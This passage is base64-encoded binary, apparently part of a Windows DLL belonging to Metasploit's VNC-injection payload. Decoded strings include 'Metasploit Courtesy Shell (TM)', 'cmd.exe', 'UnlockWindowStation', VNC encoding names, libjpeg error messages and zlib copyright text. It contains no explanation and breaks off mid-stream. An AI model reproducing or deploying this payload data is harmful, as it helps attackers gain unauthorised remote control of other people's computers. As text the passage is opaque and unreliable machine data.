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AMQaNwDEIDcAxCU3AMQuNwDEMjcAxAI3QMQTN0DEHjdAxCk3QMQzN0DEOjdAxAU3gMQMN4DEETeAxBc3gMQbN4DEJTeAxDM3gMQCN8DEDjfAxBc3wMQhN8DEKDfAxDI3wMQ7N8DEATgAxAo4AMQUOADEFjgAxCU4AMQ0OADEPDgAxAA4QMQIOEDEEDhAxBg4QMQfOEDEJjhAxDc4QMQGOIDEFDiAxCE4gMQmOIDELDiAxDY4gMQHOMDEFjjAxCM4wMQsOMDEODjAxD84wMQNOQDEGDkAxAAAAAAQm9ndXMgbWVzc2FnZSBjb2RlICVkAAAAU29ycnksIHRoZXJlIGFyZSBsZWdhbCByZXN0cmljdGlvbnMgb24gYXJpdGhtZXRpYyBjb2RpbmcAAAAAQUxJR05fVFlQRSBpcyB3cm9uZywgcGxlYXNlIGZpeABNQVhfQUxMT0NfQ0hVTksgaXMgd3JvbmcsIHBsZWFzZSBmaXgAAAAAQm9ndXMgYnVmZmVyIGNvbnRyb2wgbW9kZQAAAEludmFsaWQgY29tcG9uZW50IElEICVkIGluIFNPUwAARENUIGNvZWZmaWNpZW50IG91dCBvZiByYW5nZQAAAABJRENUIG91dHB1dCBibG9jayBzaXplICVkIG5vdCBzdXBwb3J0ZWQAQm9ndXMgSHVmZm1hbiB0YWJsZSBkZWZpbml0aW9uAABCb2d1cyBpbnB1dCBjb2xvcnNwYWNlAABCb2d1cyBKUEVHIGNvbG9yc3BhY2UAAABCb2d1cyBtYXJrZXIgbGVuZ3RoAFdyb25nIEpQRUcgbGlicmFyeSB2ZXJzaW9uOiBsaWJyYXJ5IGlzICVkLCBjYWxsZXIgZXhwZWN0cyAlZAAAAABTYW1wbGluZyBmYWN0b3JzIHRvbyBsYXJnZSBmb3IgaW50ZXJsZWF2ZWQgc2NhbgBJbnZhbGlkIG1lbW9yeSBwb29sIGNvZGUgJWQAVW5zdXBwb3J0ZWQgSlBFRyBkYXRhIHByZWNpc2lvbiAlZAAASW52YWxpZCBwcm9ncmVzc2l2ZSBwYXJhbWV0ZXJzIFNzPSVkIFNlPSVkIEFoPSVkIEFsPSVkAABJbnZhbGlkIHByb2dyZXNzaXZlIHBhcmFtZXRlcnMgYXQgc2NhbiBzY3JpcHQgZW50cnkgJWQAAEJvZ3VzIHNhbXBsaW5nIGZhY3RvcnMAAEludmFsaWQgc2NhbiBzY3JpcHQgYXQgZW50cnkgJWQASW1wcm9wZXIgY2FsbCB0byBKUEVHIGxpYnJhcnkgaW4gc3RhdGUgJWQAAAAAAAAASlBFRyBwYXJhbWV0ZXIgc3RydWN0IG1pc21hdGNoOiBsaWJyYXJ5IHRoaW5rcyBzaXplIGlzICV1LCBjYWxsZXIgZXhwZWN0cyAldQAAAABCb2d1cyB2aXJ0dWFsIGFycmF5IGFjY2VzcwAAQnVmZmVyIHBhc3NlZCB0byBKUEVHIGxpYnJhcnkgaXMgdG9vIHNtYWxsAABTdXNwZW5zaW9uIG5vdCBhbGxvd2VkIGhlcmUAQ0NJUjYwMSBzYW1wbGluZyBub3QgaW1wbGVtZW50ZWQgeWV0AAAAAFRvbyBtYW55IGNvbG9yIGNvbXBvbmVudHM6ICVkLCBtYXggJWQAAABVbnN1cHBvcnRlZCBjb2xvciBjb252ZXJzaW9uIHJlcXVlc3QAAAAAQm9ndXMgREFDIGluZGV4ICVkAABCb2d1cyBEQUMgdmFsdWUgMHgleAAAAABCb2d1cyBESFQgaW5kZXggJWQAAEJvZ3VzIERRVCBpbmRleCAlZAAARW1wdHkgSlBFRyBpbWFnZSAoRE5MIG5vdCBzdXBwb3J0ZWQpAAAAAFJlYWQgZnJvbSBFTVMgZmFpbGVkAAAAAFdyaXRlIHRvIEVNUyBmYWlsZWQARGlkbid0IGV4cGVjdCBtb3JlIHRoYW4gb25lIHNjYW4AAAAASW5wdXQgZmlsZSByZWFkIGVycm9yAAAAT3V0cHV0IGZpbGUgd3JpdGUgZXJyb3IgLS0tIG91dCBvZiBkaXNrIHNwYWNlPwAARnJhY3Rpb25hbCBzYW1wbGluZyBub3QgaW1wbGVtZW50ZWQgeWV0AEh1ZmZtYW4gY29kZSBzaXplIHRhYmxlIG92ZXJmbG93AAAAAE1pc3NpbmcgSHVmZm1hbiBjb2RlIHRhYmxlIGVudHJ5AAAAAE1heGltdW0gc3VwcG9ydGVkIGltYWdlIGRpbWVuc2lvbiBpcyAldSBwaXhlbHMAAEVtcHR5IGlucHV0IGZpbGUAAAAAUHJlbWF0dXJlIGVuZCBvZiBpbnB1dCBmaWxlAENhbm5vdCB0cmFuc2NvZGUgZHVlIHRvIG11bHRpcGxlIHVzZSBvZiBxdWFudGl6YXRpb24gdGFibGUgJWQAAABTY2FuIHNjcmlwdCBkb2VzIG5vdCB0cmFuc21pdCBhbGwgZGF0YQAASW52YWxpZCBjb2xvciBxdWFudGl6YXRpb24gbW9kZSBjaGFuZ2UAAE5vdCBpbXBsZW1lbnRlZCB5ZXQAUmVxdWVzdGVkIGZlYXR1cmUgd2FzIG9taXR0ZWQgYXQgY29tcGlsZSB0aW1lAAAAQmFja2luZyBzdG9yZSBub3Qgc3VwcG9ydGVkAEh1ZmZtYW4gdGFibGUgMHglMDJ4IHdhcyBub3QgZGVmaW5lZAAAAABKUEVHIGRhdGFzdHJlYW0gY29udGFpbnMgbm8gaW1hZ2UAAABRdWFudGl6YXRpb24gdGFibGUgMHglMDJ4IHdhcyBub3QgZGVmaW5lZAAAAE5vdCBhIEpQRUcgZmlsZTogc3RhcnRzIHdpdGggMHglMDJ4IDB4JTAyeAAASW5zdWZmaWNpZW50IG1lbW9yeSAoY2FzZSAlZCkAAABDYW5ub3QgcXVhbnRpemUgbW9yZSB0aGFuICVkIGNvbG9yIGNvbXBvbmVudHMAAABDYW5ub3QgcXVhbnRpemUgdG8gZmV3ZXIgdGhhbiAlZCBjb2xvcnMAQ2Fubm90IHF1YW50aXplIHRvIG1vcmUgdGhhbiAlZCBjb2xvcnMAAEludmFsaWQgSlBFRyBmaWxlIHN0cnVjdHVyZTogdHdvIFNPRiBtYXJrZXJzAAAAAEludmFsaWQgSlBFRyBmaWxlIHN0cnVjdHVyZTogbWlzc2luZyBTT1MgbWFya2VyAFVuc3VwcG9ydGVkIEpQRUcgcHJvY2VzczogU09GIHR5cGUgMHglMDJ4AAAASW52YWxpZCBKUEVHIGZpbGUgc3RydWN0dXJlOiB0d28gU09JIG1hcmtlcnMAAAAASW52YWxpZCBKUEVHIGZpbGUgc3RydWN0dXJlOiBTT1MgYmVmb3JlIFNPRgBGYWlsZWQgdG8gY3JlYXRlIHRlbXBvcmFyeSBmaWxlICVzAABSZWFkIGZhaWxlZCBvbiB0ZW1wb3JhcnkgZmlsZQAAAFNlZWsgZmFpbGVkIG9uIHRlbXBvcmFyeSBmaWxlAAAAV3JpdGUgZmFpbGVkIG9uIHRlbXBvcmFyeSBmaWxlIC0tLSBvdXQgb2YgZGlzayBzcGFjZT8AAABBcHBsaWNhdGlvbiB0cmFuc2ZlcnJlZCB0b28gZmV3IHNjYW5saW5lcwAAAFVuc3VwcG9ydGVkIG1hcmtlciB0eXBlIDB4JTAyeAAAVmlydHVhbCBhcnJheSBjb250cm9sbGVyIG1lc3NlZCB1cAAASW1hZ2UgdG9vIHdpZGUgZm9yIHRoaXMgaW1wbGVtZW50YXRpb24AAFJlYWQgZnJvbSBYTVMgZmFpbGVkAAAAAFdyaXRlIHRvIFhNUyBmYWlsZWQAQ29weXJpZ2h0IChDKSAxOTk4LCBUaG9tYXMgRy4gTGFuZQAANmIgIDI3LU1hci0xOTk4AENhdXRpb246IHF1YW50aXphdGlvbiB0YWJsZXMgYXJlIHRvbyBjb2Fyc2UgZm9yIGJhc2VsaW5lIEpQRUcAAABBZG9iZSBBUFAxNCBtYXJrZXI6IHZlcnNpb24gJWQsIGZsYWdzIDB4JTA0eCAweCUwNHgsIHRyYW5zZm9ybSAlZAAAAFVua25vd24gQVBQMCBtYXJrZXIgKG5vdCBKRklGKSwgbGVuZ3RoICV1AAAAVW5rbm93biBBUFAxNCBtYXJrZXIgKG5vdCBBZG9iZSksIGxlbmd0aCAldQBEZWZpbmUgQXJpdGhtZXRpYyBUYWJsZSAweCUwMng6IDB4JTAyeAAARGVmaW5lIEh1ZmZtYW4gVGFibGUgMHglMDJ4AERlZmluZSBRdWFudGl6YXRpb24gVGFibGUgJWQgIHByZWNpc2lvbiAlZAAARGVmaW5lIFJlc3RhcnQgSW50ZXJ2YWwgJXUAAEZyZWVkIEVNUyBoYW5kbGUgJXUAT2J0YWluZWQgRU1TIGhhbmRsZSAldQAARW5kIE9mIEltYWdlAAAAACAgICAgICAgJTNkICUzZCAlM2QgJTNkICUzZCAlM2QgJTNkICUzZABKRklGIEFQUDAgbWFya2VyOiB2ZXJzaW9uICVkLiUwMmQsIGRlbnNpdHkgJWR4JWQgICVkAAAAAFdhcm5pbmc6IHRodW1ibmFpbCBpbWFnZSBzaXplIGRvZXMgbm90IG1hdGNoIGRhdGEgbGVuZ3RoICV1AEpGSUYgZXh0ZW5zaW9uIG1hcmtlcjogdHlwZSAweCUwMngsIGxlbmd0aCAldQAAACAgICB3aXRoICVkIHggJWQgdGh1bWJuYWlsIGltYWdlAAAAAE1pc2NlbGxhbmVvdXMgbWFya2VyIDB4JTAyeCwgbGVuZ3RoICV1AABVbmV4cGVjdGVkIG1hcmtlciAweCUwMngAAAAAICAgICAgICAlNHUgJTR1ICU0dSAlNHUgJTR1ICU0dSAlNHUgJTR1AFF1YW50aXppbmcgdG8gJWQgPSAlZColZColZCBjb2xvcnMAAFF1YW50aXppbmcgdG8gJWQgY29sb3JzAFNlbGVjdGVkICVkIGNvbG9ycyBmb3IgcXVhbnRpemF0aW9uAEF0IG1hcmtlciAweCUwMngsIHJlY292ZXJ5IGFjdGlvbiAlZAAAAABSU1QlZAAAAFNtb290aGluZyBub3Qgc3VwcG9ydGVkIHdpdGggbm9uc3RhbmRhcmQgc2FtcGxpbmcgcmF0aW9zAAAAAFN0YXJ0IE9mIEZyYW1lIDB4JTAyeDogd2lkdGg9JXUsIGhlaWdodD0ldSwgY29tcG9uZW50cz0lZAAAACAgICBDb21wb25lbnQgJWQ6ICVkaHglZHYgcT0lZAAAU3RhcnQgb2YgSW1hZ2UAAFN0YXJ0IE9mIFNjYW46ICVkIGNvbXBvbmVudHMAAAAAICAgIENvbXBvbmVudCAlZDogZGM9JWQgYWM9JWQAAAAgIFNzPSVkLCBTZT0lZCwgQWg9JWQsIEFsPSVkAAAAAENsb3NlZCB0ZW1wb3JhcnkgZmlsZSAlcwAAAABPcGVuZWQgdGVtcG9yYXJ5IGZpbGUgJXMAAAAASkZJRiBleHRlbnNpb24gbWFya2VyOiBKUEVHLWNvbXByZXNzZWQgdGh1bWJuYWlsIGltYWdlLCBsZW5ndGggJXUAAABKRklGIGV4dGVuc2lvbiBtYXJrZXI6IHBhbGV0dGUgdGh1bWJuYWlsIGltYWdlLCBsZW5ndGggJXUAAABKRklGIGV4dGVuc2lvbiBtYXJrZXI6IFJHQiB0aHVtYm5haWwgaW1hZ2UsIGxlbmd0aCAldQAAAFVucmVjb2duaXplZCBjb21wb25lbnQgSURzICVkICVkICVkLCBhc3N1bWluZyBZQ2JDcgBGcmVlZCBYTVMgaGFuZGxlICV1AE9idGFpbmVkIFhNUyBoYW5kbGUgJXUAAFVua25vd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